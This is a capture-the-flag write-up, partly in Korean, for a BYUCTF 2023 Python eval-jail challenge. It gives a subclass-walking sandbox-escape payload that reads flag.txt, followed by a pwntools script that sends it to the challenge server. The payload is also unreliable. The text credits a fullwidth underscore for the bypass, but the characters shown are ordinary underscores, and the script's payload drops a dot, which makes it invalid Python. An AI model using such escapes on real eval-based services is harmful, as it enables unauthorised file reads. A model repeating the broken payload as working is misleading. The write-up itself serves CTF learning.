• [BYUCTF 2023] Builtins 2

    2023. 5. 21.

    by. hackintoanetwork

    Prob


    inp = input("code> ")[:72]
    if "__" in inp:
        print("Nope")
    else:
        print(eval(inp, {"__builtins__": {}}, {"__builtins__": {}}))

     

     

     

    Payload


    ().__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')

    이 페이로드는 "__" 필터링을 우회하는 방법으로 "_", "_" 은 다릅니다. 비슷해 보이지만 같지 않습니다. 

    전각 문자 "_" 는 첫번째가 아니라 두번째 자리에 와야 합니다. 일반 밑줄 다음에 두 번째 전각 문자 "_" 가 오는 경우에만 작동합니다.

     

     

     

    Exploit


    from pwn import *
    
    p = remote("byuctf.xyz", 40006)
    p.recvuntil('code>')
    payload = "()__class__.__bases__[0].__subclasses__()[124].get_data('.','flag.txt')"
    p.sendline(payload)
    response = p.recv()
    print(response.decode())
    FLAG : byuctf{unicode_is_always_the_solution...}

    댓글